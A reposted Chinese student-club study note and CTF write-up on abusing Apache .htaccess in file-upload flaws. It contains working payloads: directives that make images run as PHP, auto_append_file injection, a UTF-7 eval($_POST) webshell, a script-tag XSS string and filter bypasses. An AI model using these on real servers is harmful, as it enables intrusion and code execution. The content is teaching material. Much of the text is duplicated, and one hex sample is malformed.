皮蛋厂的学习日记 7.5 WEB|.htaccess文件的使用

admin 2025年1月11日13:59:30评论2 views字数 9384阅读31分16秒阅读模式

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

  • 2021级fake_s0u1 | .htaccess文件的使用

    • 基本概念

    • 作用范围

    • 常见指令

    • .htaccess 的常见利用

    • 基本概念

    • 作用范围

    • 常见指令

    • .htaccess 的常见利用

    • 与.htaccess相关的几个bypass

    • 与.htaccess相关的几个bypass

2021级fake_s0u1 | .htaccess文件的使用

基本概念

.htaccess 文件是apache中的一种特殊的文件 其提供了针对目录改变配置的方法 即在 一个特定的文档目录中放置一个包含一条或多条指令的文件 以作用于此目录及其所有子目录 作为用户 所能使用的命令收到限制 管理员 可以通过 apache的allowoverride指令 来设置

其中有#单行注释符 且支持拼接上下两行

作用范围

.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令

常见指令

.htaccess 可以实现网页301 重定向 自定义404错误页面 改变文件扩展名 允许或者阻止特定的用户或者目录的访问 禁止目录列表 配置默认文档等功能

SetHandler

sethandler指令可以强制所有的匹配的文件被一个指定的处理器处理

用法

SetHandler handler-name|None

栗子

SetHandler application/x-httpd-php

此时当前目录下以及其子目录下的所有文件都会被当作php解析

栗子2

SetHandler server-status

这样子我们可以开启apache的服务器状态信息 可以查看所有访问本站的记录

AddHandler

此指令可以实现在文件扩展名与特定的处理器之间建立映射

用法

AddHandler handler-name extensive [extensive] ...

栗子

AddHandler cgi-script .xxx

上面的意思就是 要将扩展名为.xxx的文件作为CGI脚本来处理

AddType

此指令可以将给定的文件扩展名映射到指定的内容类型

用法

AddType media-type extensive [extensive] ...

栗子

AddType application/x-httpd-php .gif

上面的语句可以将gif后缀的文件当做php文件解析

栗子2

AddType application/x-httpd-php png jpg gif

可以将png jpg gif多个后缀的文件当作php解析

php_value

当使用php作为apache 模块时 可以使用 apache的配置文件 (httpd.conf) 或者是 .htaccess 文件中的指令 来修改php的配置设定 但是需要有开启AllowOverride Options 或 AllowOverride All 权限才可以

php_value 指令 用来设定指定的php配置值 要清楚先前设定的值 将value设为none 但是php_value 不能用来设定布尔值 如果要设定布尔值的话需要使用 php_flag

php_value name value

栗子

php_value auto_prepend_file images.png

如上设置 当我们访问一个php文件时 在该文件解析之前 会先自动包含并解析images.png 文件

php_flag

此指令 用来设定布尔值类型的php设置选项

用法

php_flag name on|off

栗子

php_flag engine 0

如此 可以将engine设置为0 即在本目录和子目录中关闭php解析 可以造成源码泄露

.htaccess 的常见利用

源码泄露

皮蛋厂的学习日记 7.5 WEB|.htaccess文件的使用

我们可以通过htaccess的php_flag 指令 对php的engine配置选项进行设定 当把engine的值设为off或0的时候 我们可以金童一个本目录和子目录中的 php解析 此时将会造成源码泄露

图片马解析

我们知道,在文件上传漏洞中经常遇到上传图片马的情况,如果目标环境开启了 .htaccess 并且上传的黑名单没有限制 .htaccess 文件的话,我们便可以先上传 .htaccess 文件,对目标环境的目录进行相应的配置,然后再上传图片,使图片的 PHP 恶意代码得以被直接解析执行。

我们有两个常用的指令

SetHandler 指令

我们可以使用SetHandler 指令强制将所有匹配的文件被PHP处理器处理并解析

# 将images.png 当做 php 执行
<FilesMatch "images.png">
    SetHandler application/x-httpd-php
</FilesMatch>
AddType 指令

我们同样也可以使用AddType 指令将给定的文件扩展名 映射到php的内容类型

# 将 .jpg 当做 php 文件解析
AddType application/x-httpd-php .png

这两种配置都可以使我们上传的非php类型的文件当作php来执行

基本概念

.htaccess 文件是apache中的一种特殊的文件 其提供了针对目录改变配置的方法 即在 一个特定的文档目录中放置一个包含一条或多条指令的文件 以作用于此目录及其所有子目录 作为用户 所能使用的命令收到限制 管理员 可以通过 apache的allowoverride指令 来设置

其中有#单行注释符 且支持拼接上下两行

作用范围

.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令

常见指令

.htaccess 可以实现网页301 重定向 自定义404错误页面 改变文件扩展名 允许或者阻止特定的用户或者目录的访问 禁止目录列表 配置默认文档等功能

SetHandler

sethandler指令可以强制所有的匹配的文件被一个指定的处理器处理

用法

SetHandler handler-name|None

栗子

SetHandler application/x-httpd-php

此时当前目录下以及其子目录下的所有文件都会被当作php解析

栗子2

SetHandler server-status

这样子我们可以开启apache的服务器状态信息 可以查看所有访问本站的记录

AddHandler

此指令可以实现在文件扩展名与特定的处理器之间建立映射

用法

AddHandler handler-name extensive [extensive] ...

栗子

AddHandler cgi-script .xxx

上面的意思就是 要将扩展名为.xxx的文件作为CGI脚本来处理

AddType

此指令可以将给定的文件扩展名映射到指定的内容类型

用法

AddType media-type extensive [extensive] ...

栗子

AddType application/x-httpd-php .gif

上面的语句可以将gif后缀的文件当做php文件解析

栗子2

AddType application/x-httpd-php png jpg gif

可以将png jpg gif多个后缀的文件当作php解析

php_value

当使用php作为apache 模块时 可以使用 apache的配置文件 (httpd.conf) 或者是 .htaccess 文件中的指令 来修改php的配置设定 但是需要有开启AllowOverride Options 或 AllowOverride All 权限才可以

php_value 指令 用来设定指定的php配置值 要清楚先前设定的值 将value设为none 但是php_value 不能用来设定布尔值 如果要设定布尔值的话需要使用 php_flag

php_value name value

栗子

php_value auto_prepend_file images.png

如上设置 当我们访问一个php文件时 在该文件解析之前 会先自动包含并解析images.png 文件

php_flag

此指令 用来设定布尔值类型的php设置选项

用法

php_flag name on|off

栗子

php_flag engine 0

如此 可以将engine设置为0 即在本目录和子目录中关闭php解析 可以造成源码泄露

.htaccess 的常见利用

源码泄露

我们可以通过htaccess的php_flag 指令 对php的engine配置选项进行设定 当把engine的值设为off或0的时候 我们可以金童一个本目录和子目录中的 php解析 此时将会造成源码泄露

图片马解析

我们知道,在文件上传漏洞中经常遇到上传图片马的情况,如果目标环境开启了 .htaccess 并且上传的黑名单没有限制 .htaccess 文件的话,我们便可以先上传 .htaccess 文件,对目标环境的目录进行相应的配置,然后再上传图片,使图片的 PHP 恶意代码得以被直接解析执行。

我们有两个常用的指令

SetHandler 指令

我们可以使用SetHandler 指令强制将所有匹配的文件被PHP处理器处理并解析

# 将images.png 当做 php 执行
<FilesMatch "images.png">
    SetHandler application/x-httpd-php
</FilesMatch>
AddType 指令

我们同样也可以使用AddType 指令将给定的文件扩展名 映射到php的内容类型

# 将 .jpg 当做 php 文件解析
AddType application/x-httpd-php .png

这两种配置都可以使我们上传的非php类型的文件当作php来执行

皮蛋厂的学习日记 7.5 WEB|.htaccess文件的使用

任意命令执行

这里主要用的还是 auto_prepend_file 或 auto_append_file 这两个配置项。

条件:

  • allow_url_fopen 为 On

  • allow_url_include 为 On

  • 目标环境的当前目录中存在至少一个 PHP 文件

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
或:
php_value auto_append_file data://text/plian,%3c%3fphp+phpinfo()%3b%3f%3e
一道样题 d3 funny_upload

这道题属实是有点折磨我唔 因为一开始对于htaccess的理解 并不是很正确 那就进入题目吧

这个题目 首先是有一个前端的js过滤 然后 对于文件的内容有所过滤 <? 被过滤掉了

只是注意 在提交的时候 一定是.htaccess

但是在后端 htaccess并未被过滤掉 于是 尝试 上传此文件 来进行绕过 同时 因为被过滤了内容 这里 可以使用对上传文件进行编码来进行绕过 并在htaccess中执行命令 来执行

先上传一个内容为

AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"

的.htaccess文件 既做到可以执行将png看作php执行的命令 又可以 执行我们想要执行的命令 也就是上传的shell.xxx 我们其后上传内容为

PD9waHAgcHJpbnRfcihmaWxlX2dldF9jb250ZW50cygnL2ZsYWcnKSk7

解码过来就是

<?php print_r(file_get_contents('/flag'));

可以访问shell.xxx 来得到flag

进行xss攻击

通过设置 highlight_file

我们可以通过 .htaccess 文件设定 highlight.comment 选项,指定需要高亮的内容,从而进行 XSS。

.htaccess中的内容

php_value highlight.comment '"><script>alert(1);</script>'

index.php中的内容为:

<?php
highlight_file(__FILE__);
// comment

当访问index.php时便会触发 XSS:

绕过<? 特殊字符

base64

这个知识点 在上面的funnyupload中 也是有所涉及到的

主要就是利用 auto_append_file 和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来

就类似于这样

php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"
utf-7

还有这一种编码 我们可以在一个图片中写入utf-7编码格式的webshell

+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-xxxxxxxxxx +ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-

我们使用 auto_append_file 将其包含进来并设置编码格式为 UTF-7 就行了

php_value auto_append_file images.png
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

当然 也可以是跟上面的base64相同的方法 使用filter协议来实现

php_value auto_append_file "php://filter/read=convert.iconv.utf-7.utf-8/resource=images.png"

与.htaccess相关的几个bypass

绕过关键字过滤

绕过对关键字的过滤我们可以使用反斜杠 加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess 解析图片马,我们需要将 .htaccess 写成这样:

AddTy
pe application/x-httpd-ph
p .png

# 即: AddType application/x-httpd-php .png

绕过脏字符

即有时候,题目会在我们上传或写入的文件中加入一个混乱的字符(脏字符),由于这些字符不是 .htaccess 文件的语法或指令,所以会使我们的.htaccess文件不生效,出现响应500的问题。为了时我们写入的 .htaccess 文件生效,我们要采用 # 对脏字符进行注释,或使用反斜杠 将换行符转义成普通字符。

绕过对上传图片的尺寸限制

有时候,在图片上传区会使用 getimagesize() 等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype() 函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype() 检测后的结果符合题目要求。

我们可以使用 exif_imagetype() 函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:

#define test_width 16
#define test_height 7
static char test_bits[] = {
0x130x000x150x000x930xcd0x550xa50x930xc50x000x80,
0x000x60 };

可以看到 WBMP 图像的开头可以使用 # 设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337×1337,那么我们在上传.htaccess时便可以用 WBMP 来绕过,例如:

#define width 1337
#define height 1337
AddType application/x-httpd-php images.png

任意命令执行

这里主要用的还是 auto_prepend_file 或 auto_append_file 这两个配置项。

条件:

  • allow_url_fopen 为 On

  • allow_url_include 为 On

  • 目标环境的当前目录中存在至少一个 PHP 文件

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
或:
php_value auto_append_file data://text/plian,%3c%3fphp+phpinfo()%3b%3f%3e
一道样题 d3 funny_upload

这道题属实是有点折磨我唔 因为一开始对于htaccess的理解 并不是很正确 那就进入题目吧

这个题目 首先是有一个前端的js过滤 然后 对于文件的内容有所过滤 <? 被过滤掉了

只是注意 在提交的时候 一定是.htaccess

但是在后端 htaccess并未被过滤掉 于是 尝试 上传此文件 来进行绕过 同时 因为被过滤了内容 这里 可以使用对上传文件进行编码来进行绕过 并在htaccess中执行命令 来执行

先上传一个内容为

AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"

的.htaccess文件 既做到可以执行将png看作php执行的命令 又可以 执行我们想要执行的命令 也就是上传的shell.xxx 我们其后上传内容为

PD9waHAgcHJpbnRfcihmaWxlX2dldF9jb250ZW50cygnL2ZsYWcnKSk7

解码过来就是

<?php print_r(file_get_contents('/flag'));

可以访问shell.xxx 来得到flag

进行xss攻击

通过设置 highlight_file

我们可以通过 .htaccess 文件设定 highlight.comment 选项,指定需要高亮的内容,从而进行 XSS。

.htaccess中的内容

php_value highlight.comment '"><script>alert(1);</script>'

index.php中的内容为:

<?php
highlight_file(__FILE__);
// comment

当访问index.php时便会触发 XSS:

绕过<? 特殊字符

base64

这个知识点 在上面的funnyupload中 也是有所涉及到的

主要就是利用 auto_append_file 和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来

就类似于这样

php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"
utf-7

还有这一种编码 我们可以在一个图片中写入utf-7编码格式的webshell

+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-xxxxxxxxxx +ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-

我们使用 auto_append_file 将其包含进来并设置编码格式为 UTF-7 就行了

php_value auto_append_file images.png
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

当然 也可以是跟上面的base64相同的方法 使用filter协议来实现

php_value auto_append_file "php://filter/read=convert.iconv.utf-7.utf-8/resource=images.png"

与.htaccess相关的几个bypass

绕过关键字过滤

绕过对关键字的过滤我们可以使用反斜杠 加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess 解析图片马,我们需要将 .htaccess 写成这样:

AddTy
pe application/x-httpd-ph
p .png

# 即: AddType application/x-httpd-php .png

绕过脏字符

即有时候,题目会在我们上传或写入的文件中加入一个混乱的字符(脏字符),由于这些字符不是 .htaccess 文件的语法或指令,所以会使我们的.htaccess文件不生效,出现响应500的问题。为了时我们写入的 .htaccess 文件生效,我们要采用 # 对脏字符进行注释,或使用反斜杠 将换行符转义成普通字符。

绕过对上传图片的尺寸限制

有时候,在图片上传区会使用 getimagesize() 等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype() 函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype() 检测后的结果符合题目要求。

我们可以使用 exif_imagetype() 函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:

#define test_width 16
#define test_height 7
static char test_bits[] = {
0x130x000x150x000x930xcd0x550xa50x930xc50x000x80,
0x000x60 };

可以看到 WBMP 图像的开头可以使用 # 设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337×1337,那么我们在上传.htaccess时便可以用 WBMP 来绕过,例如:

#define width 1337
#define height 1337
AddType application/x-httpd-php images.png

原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 7.5 WEB|.htaccess文件的使用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日13:59:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   皮蛋厂的学习日记 7.5 WEB|.htaccess文件的使用https://cn-sec.com/archives/1160011.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息